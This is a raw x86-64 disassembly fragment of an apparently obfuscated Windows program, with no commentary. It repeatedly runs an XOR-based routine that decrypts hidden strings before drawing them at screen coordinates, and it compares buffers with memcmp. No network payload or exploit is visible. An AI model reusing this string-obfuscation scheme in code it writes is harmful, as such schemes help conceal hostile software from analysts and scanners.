lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007e0c0
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp - 0x70]
call fcn.14006e290
movaps xmm0, xmm11
call fcn.1400479a0
mov dword [rbp + 0x220], 0x42f40000
mov dword [rbp + 0x224], 0x42be0000
lea rcx, [rbp + 0x220]
call fcn.140047270
movzx eax, word [0x14012092c]
mov word [rbp - 0x50], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rdx, qword [0x140147030]
ja 0x14007e161
lea rdx, [0x140147030]
mov byte [rbp - 0x50], 0x25
xor byte [rbp - 0x4f], 0x38
xor al, 0x39
mov byte [rbp - 0x4e], al
lea rcx, [rbp - 0x50]
call fcn.14006e260
cmp qword [0x140147060], 0
jne 0x14007e574
mov dword [rbp + 0x228], 0x42f40000
mov dword [rbp + 0x22c], 0x42f00000
lea rcx, [rbp + 0x228]
call fcn.140047270
movaps xmm0, xmm8
call fcn.1400479a0
movups xmm0, xmmword [0x140120930]
movups xmmword [rbp + 0x570], xmm0
movzx eax, byte [0x140120940]
mov byte [rbp + 0x580], al
mov r8d, esi
cmp r15d, 2
jl 0x14007e31d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007e210
cmp r8d, 0x11
jge 0x14007e363
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007e330
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x230], 0x42f40000
mov dword [rbp + 0x234], 0x43070000
lea rcx, [rbp + 0x230]
call fcn.140047270
movss xmm0, dword [0x140120a4c]
call fcn.1400479a0
movups xmm0, xmmword [str.o_abddefg]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [0x140120958]
movups xmmword [rbp + 0xa8], xmm1
mov eax, dword [0x140120968]
mov dword [rbp + 0xb8], eax
mov r8d, esi
cmp r15d, 2
jl 0x14007e51d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x9c]
mov edx, dword [rbp - 0x80]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007e410
cmp r8d, 0x24
jge 0x14007e563
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14007e530
lea rcx, [rbp + 0x98]
call fcn.14006e260
jmp 0x14007e7e6
mov dword [rbp + 0x238], 0x42f40000
mov dword [rbp + 0x23c], 0x42f00000
lea rcx, [rbp + 0x238]
call fcn.140047270
movaps xmm0, xmm8
call fcn.1400479a0
movups xmm0, xmmword [0x140120970]
movups xmmword [rbp + 0x570], xmm0
movzx eax, byte [0x140120980]
mov byte [rbp + 0x580], al
mov r8d, esi
cmp r15d, 2
jl 0x14007e70d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007e600
cmp r8d, 0x11
jge 0x14007e753
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007e720
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov dword [rbp + 0x240], 0x42f40000
mov dword [rbp + 0x244], 0x43070000
lea rcx, [rbp + 0x240]
call fcn.140047270
movaps xmm0, xmm11
call fcn.1400479a0
movzx eax, word [0x140120984]
mov word [rbp + 0x548], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rdx, qword [0x140147050]
ja 0x14007e7c4
lea rdx, [0x140147050]
mov byte [rbp + 0x548], Ordinal_41
xor byte [rbp + 0x549], 0x38
xor al, 0x39
mov byte [rbp + 0x54a], al
lea rcx, [rbp + 0x548]
call fcn.14006e260
movaps xmm0, xmm8
call fcn.1400479a0
mov dword [rbp + 0x248], 0x433e0000
mov dword [rbp + 0x24c], 0x435c0000
lea rcx, [rbp + 0x248]
call fcn.140047270
mov r8, qword [0x140147040]
test r8, r8
je 0x14007eb84
mov rax, qword [0x140147060]
test rax, rax
je 0x14007eb84
lea rdx, [0x140147050]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140147050]
lea rcx, [0x140147030]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x140147030]
cmp r8, rax
jne 0x14007e86b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14007e86d
mov al, 1
test al, al
je 0x14007eb84
mov rax, qword [str.dLXNNO_a_tPXTYY_dLXNNO_a_yWM]
mov qword [rsp + 0x68], rax
cmp byte [0x14012098f], 0
je 0x14007e9e3
cmp r15d, 2
jl 0x14007e99c
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007e9e3
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007e9b0
lea rcx, [rsp + 0x68]
call fcn.14006e260
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.1400468c0
mov rax, qword [0x140120990]
mov qword [rsp + 0x68], rax
cmp byte [0x140120997], 0
je 0x14007eb73
cmp r15d, 2
jl 0x14007eb30
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
movaps xmm0, xmmword [0x140120a90]
lea rdx, [rsp + 0x68]
jmp 0x14007eea1
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007eb40
movaps xmm0, xmmword [0x140120a90]
lea rdx, [rsp + 0x68]
jmp 0x14007eea1
mov rax, qword [0x140120998]
mov qword [rsp + 0x68], rax
cmp byte [0x14012099f], 0
je 0x14007ecf3
cmp r15d, 2
jl 0x14007ecab
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007ecf3
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007ecc0
lea rcx, [rsp + 0x68]
call fcn.14006e260
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.1400468c0
movsd xmm0, qword [0x1401209a0]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x1401209a8]
mov dword [rbp + 0xf0], eax
cmp byte [0x1401209ab], 0
je 0x14007ee93
mov r8d, esi
cmp r15d, 2
jl 0x14007ee50
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401209a0]
xorps xmm2, xmm0
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007ee60
movaps xmm0, xmmword [0x1400f8720]
lea rdx, [rbp + 0xe8]
movups xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.14006e290
mov ecx, 4
call fcn.140042270
jmp 0x14007fae2
cmp eax, 2
jne 0x14007fae2
mov rcx, qword [rbp + 0x9b8]
mov rax, rcx
mov rdx, qword [rbp + 0x9b0]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14007f222
xor eax, eax
mov edi, eax
nop dword [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rdi
jbe 0x14007fc78
shl rdi, 6
add rdi, rdx
mov rdx, rdi
lea rcx, [rbp + 0x5d0]
call fcn.14001cc90
nop
lea rdx, [rdi + 0x20]
lea rcx, [rbp + 0x5f0]
call fcn.14001cc90
nop
mov dword [rbp + 0x250], 0x42f40000
mov dword [rbp + 0x254], 0x42480000
lea rcx, [rbp + 0x250]
call fcn.140047270
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [0x1400f49a0]
movups xmmword [rbp + 0x570], xmm1
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x98]
call fcn.14001cc90
mov rcx, rax
call fcn.140080650
mov qword [rbp + 0x590], rax
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x30], xmm1
mov eax, dword [rbp + 0x2f0]
mov dword [rbp + 0x40], eax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x3a0]
call fcn.1400806e0
mov r10, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14007efd3
mov r10, qword [rax]
movups xmm0, xmmword [str.dM_IXNTNK_._c0_riJ]
movups xmmword [rbp + 0x550], xmm0
mov eax, dword [0x1401209c0]
mov dword [rbp + 0x560], eax
cmp byte [0x1401209c3], 0
je 0x14007f193
xor eax, eax
mov r8d, eax
cmp r15d, 2
jl 0x14007f14d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007f040
cmp r8d, 0x14
jge 0x14007f193
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14007f160
lea r9, [rbp - 0x70]
lea r8, [rbp + 0x570]
mov rdx, r10
lea rcx, [rbp + 0x550]
call fcn.140066b10
nop
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14007f1f0
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007f1ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc6a
call fcn.1400ed6a0
nop
lea rcx, [rbp + 0x5d0]
call fcn.140022bc0
inc esi
mov rcx, qword [rbp + 0x9b8]
mov rax, rcx
mov rdx, qword [rbp + 0x9b0]
sub rax, rdx
sar rax, 6
movsxd rdi, esi
cmp rdi, rax
jb 0x14007eef0
mov dword [rbp + 0x258], 0x42f40000
mov dword [rbp + 0x25c], 0x42960000
lea rcx, [rbp + 0x258]
call fcn.140047270
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp + 0x570], xmm0
movaps xmm1, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm1
lea r10, [rbp + 0x930]
movsd xmm0, qword [0x1401209c8]
mov eax, dword [0x1401209d0]
movsd qword [rbp + 0x60], xmm0
mov dword [rbp + 0x68], eax
movzx eax, byte [0x1401209d4]
mov byte [rbp + 0x6c], al
cmp qword [rbp + 0x948], 0xf
jbe 0x14007f293
mov r10, qword [rbp + 0x930]
xor esi, esi
mov r8d, esi
cmp r15d, 2
jl 0x14007f3a9
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401209c8]
xorps xmm2, xmm0
movd dword [rbp + 0x60], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007f3c0
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x70]
mov rdx, r10
lea rcx, [rbp + 0x60]
call fcn.140066b10
mov dword [rbp + 0x260], 0x42f40000
mov dword [rbp + 0x264], 0x42c80000
lea rcx, [rbp + 0x260]
call fcn.140047270
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp + 0x570], xmm0
